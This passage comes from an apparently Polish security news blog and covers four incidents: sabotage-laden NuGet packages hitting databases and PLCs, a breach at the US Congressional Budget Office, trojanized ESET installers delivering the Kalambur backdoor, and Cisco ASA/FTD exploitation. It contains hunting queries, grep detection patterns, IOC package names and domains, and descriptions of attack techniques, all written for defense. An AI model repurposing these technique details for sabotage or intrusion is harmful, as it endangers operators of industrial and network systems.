  • Prawdopodobieństwo ~20% na operację szybko daje quasi-pewną awarię w systemach o wysokim QPS/OPS, ale nieregularność utrudnia RCA.

Praktyczne konsekwencje / ryzyko

  • Aplikacje transakcyjne: sporadyczne ubicia procesu podczas zapytań → przerwane transakcje, uszkodzenie sesji, utrata koszyków, restart puli.
  • Bezpieczeństwo danych: niezamierzone rollbacki, niekonsekwentne zapisy, widoczność „ghost writes”.
  • ICS/OT: ciche nieskuteczne zapisy do PLC → niezałączone zabezpieczenia, złe nastawy, ryzyko jakości/bezpieczeństwa pracy linii. Media branżowe niezależnie potwierdzają cele DB+ICS oraz daty 2027/2028.

Rekomendacje operacyjne / co zrobić teraz

0) Zakres incydentu i kryteria ryzyka

Traktuj każdy projekt .NET z zależnościami publikowanymi/aktualizowanymi 2023–2024 jako potencjalnie ekspozycyjny, ze szczególną ostrożnością dla aplikacji przemysłowych/SCADA/MES/Historian.

1) Szybki triage — znajdź i odetnij pakiety

Enumeracja pakietów w repo i hostach:

# w repo: wszystkie odwołania do nuget.org
grep -R "PackageReference Include" -n .

# lista zainstalowanych pakietów w projekcie/solucji
dotnet list package --include-transitive

# sprawdzenie globalnego cache NuGet na hostach buildowych
# Windows (PowerShell)
Get-ChildItem "$env:USERPROFILE\.nuget\packages" -Depth 2 | Select-Object FullName
# Linux
find ~/.nuget/packages -maxdepth 2 -type d -print

Skan wzorców „extension method injection”:

# proste heurystyki (repo)
grep -R "static class .*Command.*Extend" -n .
grep -R "this SqlCommand" -n .
grep -R "Process.GetCurrentProcess().Kill" -n .
grep -R "DateTimeHelper.UnixTimestampToDateTime" -n .
grep -R "ConfigurationManager.AppSettings\\[\"st\"\\]" -n .

Blokada źródła:

  • Pinning do allowlist (scoped registries), wewnętrzne mirror’y, pakiety podpisane.
  • W CI zablokuj rozwiązywanie spoza mirror’a: NUGET_PACKAGES, restoreSources.

Przykładowe nuget.config (pinning):

<configuration>
  <packageSources>
    <clear />
    <add key="corp-mirror" value="https://nuget.corp.local/v3/index.json" />
  </packageSources>
  <trustedSigners>
    <author name="CorpReleaseKey">
      <certificate fingerprint="‎AB CD EF ..." hashAlgorithm="SHA256" allowUntrustedRoot="false" />
    </author>
  </trustedSigners>
</configuration>

2) Detekcja runtime / telemetry hunting

.NET (ETW/PerfView/Defender for Endpoint kusto):

DeviceProcessEvents
| where InitiatingProcessFileName endswith ".exe"
| where FileName has_any ("w3wp.exe","dotnet.exe","MyApp.exe")
| where ProcessCommandLine has "Process.GetCurrentProcess().Kill"
    or ProcessCommandLine has "System.Diagnostics.Process.Kill"

Anomalia „losowych restartów” po zapytaniach DB:

  • Koreluj SqlClient error’y / brak logs z Kill().
  • W aplikacjach ICS: wzrost „write succeeded=false / result=0” bez błędów.

AppLocker/WDAC: blokuj niezaufane DLL z cache NuGet per hash/ścieżka.
EDR: utwórz reguły anomalii na Process.Kill() wywoływane przez procesy serwerowe .NET.

3) Usuwanie i weryfikacja integralności

  • Usuń zainfekowane pakiety z repo i lockfile’y; wymuś dotnet nuget locals all --clear na build-agentach i serwerach.
  • Rebuild + redeploy z czystego cache.
  • Testy regresji z naciskiem na „długie” scenariusze (≥2h) i wysoki QPS.
  • ICS: włącz odczyt zwrotny po zapisie do PLC i alarmuj niekonsekwencje.

4) Hardening łańcucha dostaw

  • SBOM (np. dotnet list package --include-transitive > sbom.txt; CycloneDX dla .NET).
  • Pinned versions + obowiązkowa reputacja (autor/maintainer, GitHub stars/issues, historia CVE).
  • Policy: zakaz użycia pakietów o małej historii/bez maintainerów; przegląd kodu dla „nowych autorów”.
  • Skany SCA z regułami niestandardowymi (heurystyki extension methods, Process.Kill()).

5) IOC / nazwy pakietów do bloku

Na bazie publikacji: MyDbRepository, MCDbRepository, Sharp7Extend, SqlDbRepository, SqlRepository, SqlUnicornCoreTest, SqlUnicornCore, SqlUnicorn.Core, SqlLiteRepository. (Zestaw raportowany w źródłach branżowych.)


Różnice / porównania z innymi przypadkami

  • npm/PyPI — zwykle szybkie kradzieże sekretów/telemetrii; tu mamy opóźniony, destrukcyjny ładunek i probabilistykę, by utrudnić RCA.
  • NuGet-specyficzne — cięższe biblioteki .NET, częsty brak sandboxingu, głęboka integracja z ORM/ADO.NET oraz środowiskami przemysłowymi .NET/Win.
  • ICS — celowane typosquatting w ekosystem Sharp7; potwierdzenie, że legalny Sharp7 jest osobnym, poprawnym projektem open-source.

Podsumowanie / kluczowe wnioski

  • Atak łączy realną funkcjonalność z niewielką „bombą” czasową, co daje długie, ciche „zasianie” u ofiar.
  • Extension methods to idealny nośnik sabotażu w .NET — przechodzą przez testy i code review.
  • Organizacje powinny priorytetowo: inwentaryzować, odciąć, odbudować z czystych źródeł, a następnie wprowadzić mirror + podpisy + SBOM + custom SCA rules.
  • Środowiska ICS/OT szczególnie narażone: weryfikacja zapisu przez odczyt i testy długotrwałe to must-have.
    Niezależne źródła potwierdzają daty-wyzwalacze i target DB/ICS, co pozwala na precyzyjny threat model i priorytetyzację.

Źródła / bibliografia

  • Socket — „9 Malicious NuGet Packages Deliver Time-Delayed Destructive Payloads” (analiza techniczna, fragmenty kodu, daty-wyzwalacze). (Socket)
  • The Hacker News — „Hidden Logic Bombs in Malware-Laced NuGet Packages…” (lista pakietów, kontekst). (The Hacker News)
  • BleepingComputer — „Malicious NuGet packages drop disruptive ‘time bombs’” (potwierdzenie scenariuszy i celów). (BleepingComputer)
  • The Register — „Crims plant time bomb malware in industrial .NET extensions” (status usuwania pakietów). (The Register)
  • Projekt Sharp7 (legalna biblioteka S7; odróżnienie od typosquata „Sharp7Extend”). (GitHub)

CBO ofiarą podejrzanego ataku cybernetycznego. Co wiemy i co to oznacza dla bezpieczeństwa danych w Kongresie USA?

Wprowadzenie do problemu / definicja luki

Kongresowe Biuro Budżetowe USA (Congressional Budget Office, CBO) potwierdziło incydent cybernetyczny obejmujący jego sieć. Wstępne komunikaty instytucji mówią o opanowaniu zdarzenia i wdrożeniu dodatkowego monitoringu, natomiast źródła medialne wskazują na podejrzenie udziału „obcego aktora”. Biuro nie przypisało publicznie sprawstwa żadnej grupie ani państwu. Incydent mógł dotyczyć korespondencji e-mail oraz innych kanałów komunikacji między CBO a biurami senatorów i kongresmenów.


W skrócie

  • Co się stało: CBO odnotowało naruszenie bezpieczeństwa swoich systemów; trwają działania ograniczające i dochodzenie.
  • Skala i dane: Możliwa ekspozycja komunikacji z biurami Kongresu (e-maile, potencjalnie czaty wewnętrzne). Brak potwierdzonych szczegółów o exfiltracji.
  • Sprawstwo: Media (m.in. Washington Post) mówią o podejrzeniu obcego aktora; CBO oficjalnie nie potwierdza.
  • Ryzyko wtórne: Ostrzeżenia przed falą spear-phishingu podszywającego się pod korespondencję CBO.

Kontekst / historia / powiązania

CBO jest bezpartyjną instytucją analityczną, która dostarcza szacunki kosztów ustaw i projekcje makroekonomiczne – jej komunikacja bywa politycznie i rynkowo wrażliwa. Ewentualny dostęp atakujących do wątków roboczych mógłby ujawniać kalendarz prac legislacyjnych, wstępne warianty kosztów lub punkty sporne między biurami. W ostatnich miesiącach administracja federalna mierzyła się już z istotnymi kampaniami przeciw agencjom i wykonawcom – co zwiększa presję na higienę łańcucha komunikacji (federalnego i kontraktorskiego).


Analiza techniczna / szczegóły luki

Uwaga: szczegóły TTPs nie zostały oficjalnie ujawnione. Poniższa analiza opisuje prawdopodobne wektory na podstawie znanych wzorców ataków na administrację USA.

Możliwe wektory wejścia:

  1. Kompromitacja tożsamości i poczty (O365/M365, SSO/SAML): przejęcie konta analityka lub skrzynki serwisowej, dalszy ruch boczny do repozytoriów dokumentów (SharePoint/Teams).
  2. Malware w łańcuchu komunikacji: złośliwe załączniki/URL w korespondencji międzybiurowej, wykorzystanie zaufania do domen *.gov / *.mil / domen dostawców.
  3. Dostawca zewnętrzny (third-party): dostęp uprzywilejowany aplikacji wsparcia/monitoringu i exfiltracja przez kanały serwisowe (częsty motyw w incydentach federalnych).
  4. Exfiltracja „low-and-slow”: tunelowanie przez legitne usługi chmurowe, rozproszone zapytania API w godzinach pracy (utrudnia korelację).

Na co wskazują komunikaty:

  • Wzmianki o możliwym podszywaniu się pod komunikację CBO sugerują, że co najmniej metadane/książki adresowe/wątki mogły zostać dotknięte. To zwiększa skuteczność późniejszych kampanii BEC/spear-phishing wobec biur na Kapitolu.

Praktyczne konsekwencje / ryzyko

  • Ryzyko dla procesu legislacyjnego: wyciek roboczych „scores” i scenariuszy mógłby wpływać na rynki i taktykę negocjacyjną klubów.
  • Ryzyko operacji wpływu: pretekstowe e-maile/SMS/voice spoofing „od CBO” zwiększają prawdopodobieństwo wstrzyknięcia malware do innych segmentów sieci Kongresu.
  • Ryzyko prawne/zgodności: wymogi raportowania i koordynacji z CISA/FBI oraz przeglądy kontraktów z dostawcami (SOC 2/FedRAMP), nawet jeśli CBO nie potwierdziło exfiltracji. (Wniosek na podstawie standardowych procedur reagowania w sektorze federalnym).

Rekomendacje operacyjne / co zrobić teraz

Dla instytucji rządowych i organizacji współpracujących z CBO:

  1. Filtry i zasady mailowe „high-risk”: tymczasowo podnieś progi dla DMARC/DKIM/SPF; kwarantanna korespondencji podszywającej się pod domeny CBO; włącz pre-delivery sandboxing. (Best practices CISA).
  2. Zerowe zaufanie do linków/załączników „od CBO”: wymuś otwieranie w izolowanym przeglądarce (RBVM), skan YARA w bramce.
  3. MFA phishing-resistant + klucze FIDO2: obowiązkowo dla wszystkich skrzynek mających historię korespondencji z CBO.
  4. Hunting według TTPs:
    • anomalie OAuth/Graph API, nietypowe reguły skrzynek (inbox rules), token replay;
    • podejrzane konektory M365 i zaproszenia do Teams/SharePoint;
    • komunikacja do chmurowych usług hostingowych nieskorelowana z normalnym ruchem.
  5. Playbook reakcji na BEC: proces „two-person verification” przy wnioskach o pilne dane/plik/spotkanie „od CBO”; kanał alternatywny (telefon wewnętrzny) do potwierdzeń.
  6. Segmentacja i DLP: ogranicz dostęp do dokumentów z oznaczeniami poufności, włącz weryfikację treści i watermarki na eksportach PDF.
  7. Ćwiczenia purple team: symuluj spear-phishing podszywający się pod CBO i oceń skuteczność EDR/XDR, MDO, CASB.

Dla odbiorców spoza sektora publicznego (media, think-tanki, dostawcy): zastosuj te same środki prewencji phishingu i weryfikacji nadawcy – okresowo rośnie ryzyko kampanii „collateral”.


Różnice / porównania z innymi przypadkami

  • Podobieństwo do incydentów w agencjach federalnych z ostatniego roku: kompromitacja kanałów komunikacji i możliwe użycie zaufanych usług chmurowych do exfiltracji. (Porównanie oparte na wzorcach raportowanych publicznie dla sektora federalnego).
  • Różnica względem ataków destrukcyjnych: obecnie brak sygnałów o wiperach czy sabotażu operacyjnym — celem wydaje się dostęp informacyjny i wywiadowczy, nie paraliż usług.

Podsumowanie / kluczowe wnioski

  • CBO potwierdziło incydent i działania zaradcze, lecz bez publicznej atrybucji; media wskazują na podejrzenie obcego aktora.
  • Najbardziej prawdopodobnym skutkiem krótkoterminowym jest fala ukierunkowanego phishingu wykorzystująca wiedzę o relacjach CBO–biura kongresowe.
  • Organizacje komunikujące się z CBO powinny wdrożyć natychmiastowe kontrole anty-phishingowe, wzmocnić MFA i prowadzić proaktywne polowanie na oznaki przejęcia tożsamości i reguł skrzynki.

Źródła / bibliografia

  • Reuters: potwierdzenie incydentu, ostrzeżenia dot. możliwego podszywania się. (Reuters)
  • Associated Press: stanowisko rzeczniczki CBO, działania zaradcze, brak oficjalnej atrybucji. (AP News)
  • The Washington Post: doniesienia o podejrzeniu obcego aktora i możliwe kategorie danych. (The Washington Post)
  • BleepingComputer: przegląd zdarzenia i osadzenie w szerszym trendzie ataków na instytucje federalne. (BleepingComputer)
  • Axios: znaczenie CBO dla procesu legislacyjnego i potencjalny wpływ na komunikację. (Axios)

Trojanizowane instalatory ESET dostarczają backdoora Kalambur. Kampania phishingowa na Ukrainie (InedibleOchotense)

Wprowadzenie do problemu / definicja luki

Nowo zidentyfikowany klaster aktywności „InedibleOchotense”, oceniany jako powiązany z Rosją, podszywa się pod firmę ESET i rozsyła do ukraińskich podmiotów spreparowane instalatory produktów ESET. Fałszywe pakiety instalacyjne dołączają prawdziwy komponent ESET AV Remover, ale potajemnie doinstalowują backdoora Kalambur (aka SUMBUR), który wykorzystuje sieć Tor do C2 i może włączać zdalny dostęp (m.in. RDP/3389) oraz doinstalowywać OpenSSH. Dystrybucja odbywa się przez spear-phishing i wiadomości w Signal, z linkami do domen stylizowanych na ESET, m.in. esetsmart[.]com, esetscanner[.]com, esetremover[.]com.

W skrócie

  • Atakujący podszywają się pod ESET i skłaniają ofiary do pobrania trojanizowanego instalatora.
  • Łańcuch infekcji dostarcza Kalambur/SUMBUR (C#) z Tor-owym C2, a obok instaluje legalny AV Remover – to zabieg uwiarygadniający.
  • Kampania obserwowana od maja 2025 r. uderza w podmioty na Ukrainie.
  • TTP wykazują nakładanie się z wcześniejszymi aktywnościami Sandworm/APT44 (m.in. wątki UAC-0212/UAC-0125).

Kontekst / historia / powiązania

ESET opisuje tę falę w swoim najnowszym APT Activity Report (zakres kwiecień–wrzesień 2025), zwracając uwagę na utrzymujący się priorytet rosyjskich grup wobec Ukrainy i UE. Równolegle wcześniejsze analizy EclecticIQ i alerty środowiska CERT-ów wskazywały na podobne sztuczki z trojanizowanymi narzędziami oraz sub-klastry UAC-0212 / UAC-0125 przypisywane do Sandworm/APT44.

Analiza techniczna / szczegóły luki

Wektor wejścia: ukierunkowane e-maile (po ukraińsku, z wyłapanymi „rusycyzmami”) oraz wiadomości w Signal zawierają link do pobrania „instalatora ESET”. Hostowanie na domenach łudząco podobnych do marki zwiększa konwersję.
Pakiet instalacyjny: uruchamia autentyczny ESET AV Remover (element „zasłony dymnej”), a równolegle dropuje i uruchamia Kalambur/SUMBUR.
Backdoor: napisany w C#, utrzymuje łączność przez Tor (C2), potrafi dograć OpenSSH i otworzyć RDP (3389), rozszerzając trwałość i zdalne sterowanie hostem.
Atrybucja: ESET wskazuje na nakładanie się TTP z opisywaną przez EclecticIQ kampanią BACKORDER i aktywnościami klasyfikowanymi przez CERT-UA jako UAC-0212; osobne raporty łączą z tym spektrum także UAC-0125. ESET podkreśla jednak, że pełne zrównanie klastrów nie jest w 100% potwierdzone.

Praktyczne konsekwencje / ryzyko

  • Zaufanie do marki: wykorzystanie brandu ESET oraz dołączenie prawdziwego komponentu utrudnia detekcję „na oko” i obniża czujność użytkowników i helpdesku.
  • Szybka eskalacja: natychmiastowa dostępność RDP/OpenSSH po instalacji daje operatorom wygodny kanał Lateral Movement.
  • Trwałość i ukrycie: Tor utrudnia blokowanie i korelację zdarzeń w SIEM/SOAR bez profilowanych detekcji.
  • Ryzyko dla łańcucha dostaw: zgodnie z trendami z raportów APT, celami są instytucje rządowe, energia, logistyka, edukacja; kompromitacje dostawców mogą kaskadowo dotykać klientów.

Rekomendacje operacyjne / co zrobić teraz

  1. Blokady domen i IoC: natychmiastowo zablokować esetsmart[.]com, esetscanner[.]com, esetremover[.]com i powiązane hosty; uaktualnić filtry w proxy/DNS.
  2. Kontrola źródeł oprogramowania: egzekwować politykę pobierania instalatorów wyłącznie z oficjalnych domen producenta i poprzez zaufane repozytoria/PKI; wprowadzić hash-pinning dla instalatorów.
  3. Detekcje behawioralne:
    • Wykrywanie nietypowego uruchomienia AV Remover ze ścieżek tymczasowych/użytkownika.
    • Reguły na tworzenie/usługi OpenSSH w Windows, na zmiany RDP/3389, oraz procesy ładujące biblioteki Tor.
    • Telemetria C2 przez Tor (nowe procesy tor.exe, nietypowe porty, długie sesje TCP do węzłów wejściowych).
      Wzorce TTP można wzbogacić gotowymi regułami SIGMA przygotowanymi pod UAC-0212/UAC-0125.
  4. Twardnienie stacji roboczych: wyłączanie RDP tam, gdzie zbędny; MFA do zdalnych usług; AppLocker/WDAC dla instalatorów spoza „allowlist”.
  5. Edukacja użytkowników: komunikat „ESET nie wysyła instalatorów w wiadomościach” + procedura zgłaszania podejrzanych linków (phishing w jęz. ukraińskim z błędami językowymi).
  6. Hunting/IR szybkie sprawdzenia:
    • Ostatnie polecenia RDP, nowe lokalne konta, wpisy Firewall otwierające 3389.
    • Ślady OpenSSH na hostach Windows.
    • Artefakty instalatora w %TEMP%, nietypowe ścieżki wykonywalne podpisane „ESET” bez ważnej sygnatury.

Różnice / porównania z innymi przypadkami (jeśli dotyczy)

  • W lutym 2025 r. opisywano kampanie Sandworm oparte na trojanizowanych narzędziach KMS i fałszywych installerach – obecny przypadek jest bardziej wyrafinowany socjotechnicznie poprzez użycie marki ESET oraz włączenie legalnego komponentu w pakiecie.
  • Nakładanie TTP z UAC-0212 / UAC-0125 łączy obecną kampanię z ekosystemem APT44, ale pełna tożsamość pozostaje przedmiotem analizy (ostrożność w atrybucji!).

Podsumowanie / kluczowe wnioski

  • Atakujący instrumentalizują zaufanie do producenta AV i łączą legalny komponent z malware w jednym installerze.
  • Kalambur/SUMBUR zapewnia ciche, trwałe RCE i kanały zdalnego dostępu (Tor + RDP/OpenSSH).
  • Higiena źródeł oprogramowania, detekcje behawioralne i blokady IoC to najszybsze środki ograniczające ryzyko.
  • Trendy z raportów APT ESET wskazują, że Ukraina i UE pozostają priorytetowymi celami rosyjskich grup – należy utrzymywać podwyższoną gotowość.

Źródła / bibliografia

  1. The Hacker News — Trojanized ESET Installers Drop Kalambur Backdoor in Phishing Attacks on Ukraine (06.11.2025). (The Hacker News)
  2. Help Net Security — Russia-linked hackers intensify attacks as global APT activity shifts (omówienie ESET APT Activity Report, 06.11.2025). (Help Net Security)
  3. EclecticIQ — Sandworm APT Targets Ukrainian Users with Trojanized Microsoft KMS Activation Tools… (11.02.2025). (blog.eclecticiq.com)
  4. SOC Prime — Detecting UAC-0212 attacks linked to Sandworm APT subcluster (24.02.2025). (SOC Prime)
  5. INCIBE-CERT — UAC-0212 attack campaign against critical infrastructures in Ukraine (25.03.2025, z referencjami do CERT-UA #13702). (INCIBE)

Cisco ostrzega przed nowym wariantem ataku na Secure Firewall ASA/FTD (CVE-2025-20333 i CVE-2025-20362)

Wprowadzenie do problemu / definicja luki

Cisco poinformowało o nowym wariancie ataku wymierzonym w urządzenia z Secure Firewall Adaptive Security Appliance (ASA) oraz Secure Firewall Threat Defense (FTD), podatne na CVE-2025-20333 i CVE-2025-20362. Według zaktualizowanych materiałów Cisco, atak może powodować nieoczekiwane restarty niezałatanych urządzeń, skutkując odmową usługi (DoS). Producent ponownie wzywa do jak najszybszego wdrożenia poprawek.


W skrócie

  • CVE-2025-20333 (RCE) — umożliwia zdalne wykonanie kodu jako root poprzez specjalnie spreparowane żądania HTTP(S) do WebVPN (dotyczy ASA/FTD).
  • CVE-2025-20362 (auth bypass) — umożliwia dostęp do ograniczonych endpointów URL bez uwierzytelnienia.
  • Nowy wariant (05.11.2025): obserwowane są restarty niezałatanych urządzeń (DoS).
  • Kontekst operacyjny: kampania z 2025 r. została objęta CISA Emergency Directive 25-03, z procedurami „core dump & hunt”, a analizy NCSC opisują RayInitiator (bootkit) i LINE VIPER (loader) wykorzystywane przeciwko Cisco ASA.

Kontekst / historia / powiązania

Pierwsze publiczne ostrzeżenia w 2025 r. dotyczyły łańcucha ataków na perymetryczne urządzenia sieciowe Cisco. CISA wydała Emergency Directive ED 25-03 (25.09.2025) nakazującą podmiotom federalnym natychmiastowe inwentaryzacje, działania dochodzeniowe oraz odłączanie urządzeń EoL/EoS. Równolegle NCSC (UK) opisało malware RayInitiator i LINE VIPER jako istotną ewolucję wcześniejszych technik (ArcaneDoor/Line Dancer/Line Runner), z naciskiem na trwałość i unikanie wykrycia.


Analiza techniczna / szczegóły luki

CVE-2025-20333 — RCE (WebVPN, ASA/FTD)

  • Luka w przetwarzaniu wejścia w komponentach HTTP(S)/WebVPN może pozwolić atakującemu na zdalne wykonanie kodu z uprawnieniami root na podatnym urządzeniu. W praktyce jest to wykorzystywane do przejęcia pełnej kontroli nad systemem.

CVE-2025-20362 — obejście uwierzytelniania (URL)

  • Błąd walidacji pozwala na nieautoryzowany dostęp do wybranych zabezpieczonych endpointów poprzez spreparowane żądania HTTP(S). Choć sam w sobie nie daje RCE, pozwala na łańcuchowanie z innymi podatnościami lub funkcjami systemu.

„Nowy wariant” ataku (aktualizacja z 5 listopada 2025 r.)

  • Cisco odnotowało odświeżone techniki wymierzone w niezałatane urządzenia ASA/FTD, które mogą wywoływać nieplanowane restarty i DoS. To wskazuje, że aktorzy nadal aktywnie rozwijają taktyki po wrześniowych ujawnieniach luk.

Powiązane TTPs / malware (NCSC MAR)

  • RayInitiator: wieloetapowy bootkit GRUB zapewniający trwałość (survives reboot & firmware upgrade) na modelach ASA bez Secure Boot.
  • LINE VIPER: loader w przestrzeni użytkownika, uruchamiany m.in. przez sesje WebVPN client auth; posiada moduły do wykonywania komend CLI, przechwytywania ruchu, omijania AAA dla urządzeń aktora, tłumienia syslogów i wymuszania opóźnionych restartów. Raport zawiera reguły YARA i szczegóły ładowania przez WebVPN (PKCS#7 + shellcode).

Praktyczne konsekwencje / ryzyko

  • Ryzyko przejęcia urządzenia perymetrycznego (RCE + auth bypass) i utrata integralności stref DMZ/VPN.
  • Zakłócenia usług (restarty/DoS), które mogą ukrywać ślady ataku i utrudniać forensikę.
  • Trwała persystencja na starszych platformach bez Secure Boot, nawet po aktualizacjach oprogramowania.
  • Ryzyko lateral movement w sieci po kompromitacji bramy VPN/firewalla.

Rekomendacje operacyjne / co zrobić teraz

1) Natychmiastowe łatanie i hardening

  • Zaktualizuj ASA/FTD do wydań naprawczych wskazanych w advisories Cisco dla CVE-2025-20333 oraz CVE-2025-20362.
  • Jeżeli WebVPN nie jest wymagany, tymczasowo wyłącz i ogranicz dostęp administracyjny wyłącznie z MGMNT VLAN/IP allowlist.

2) Incident response według CISA ED 25-03

  • Zastosuj procedury z Emergency Directive 25-03: pełna inwentaryzacja ASA/FTD, core dump & hunt, artefakty, polisy rozłączania dla EoL/EoS oraz upgrade pozostałych systemów. Skorzystaj z Supplemental Direction (Core Dump & Hunt Instructions).

3) Detekcja & hunting

  • Przejrzyj raport NCSC (MAR) i użyj dostarczonych reguł YARA/IoC do wykrywania RayInitiator/LINE VIPER, sprawdź oznaki manipulacji ROM/GRUB i tłumienia logów.

4) Kontrola integralności i architektury

  • Preferuj platformy z Secure Boot; dla starszych modeli rozważ przyspieszoną wymianę.
  • Włącz/egzekwuj MFA na dostęp admin, segregację płaszczyzn sterowania (out-of-band), telemetrię na zewnętrznym SIEM i capture’y ruchu do korelacji czasów restartów z nietypowym ruchem WebVPN.

Różnice / porównania z innymi przypadkami (jeśli dotyczy)

  • Wobec wcześniejszych kampanii na ASA (np. ArcaneDoor), obecne narzędzia (RayInitiator/LINE VIPER) kładą większy nacisk na trwałość (modyfikacje GRUB/ROM) i obronę przed detekcją (np. tłumienie syslogów).
  • Łańcuch podatności CVE-2025-20333 + CVE-2025-20362 umożliwia eskalację od obejścia autoryzacji do RCE jako root, przy czym nowy wariant dołożył efekt DoS poprzez restart urządzeń — to zwiększa presję operacyjną SOC/NetOps.

Podsumowanie / kluczowe wnioski

  • Aktualizacje są krytyczne — łańcuch CVE-2025-20333/CVE-2025-20362 jest wciąż aktywnie rozwijany, a niezałatane urządzenia mogą być restartowane i wyłączane z usług.
  • Postępuj zgodnie z ED 25-03 (core dump & hunt, odłączenia EoL, upgrade) i wdrażaj detekcje z MAR NCSC.
  • Ogranicz ekspozycję WebVPN i wprowadź kontrole integralności (Secure Boot, weryfikacja ROM/GRUB), aby utrudnić długotrwałą persystencję.

Źródła / bibliografia

  1. Cisco Security Advisory – CVE-2025-20333 (ASA/FTD WebVPN RCE) — aktualizacja uwzględniająca nowy wariant z 5.11.2025. (sec.cloudapps.cisco.com)
  2. Cisco Security Advisory – CVE-2025-20362 (ASA/FTD WebVPN auth bypass) — aktualizacja uwzględniająca nowy wariant z 5.11.2025. (sec.cloudapps.cisco.com)
  3. Cisco: Continued Attacks Against Cisco Firewalls (ASA/FTD) — omówienie nowego wariantu i skutków (restart/DoS). (sec.cloudapps.cisco.com)
  4. CISA Emergency Directive 25-03 — Identify and Mitigate Potential Compromise of Cisco Devices + Supplemental „Core Dump & Hunt”. (CISA)
  5. NCSC MAR (RayInitiator & LINE VIPER) — analiza techniczna bootkitu i loadera + reguły YARA. (NCSC)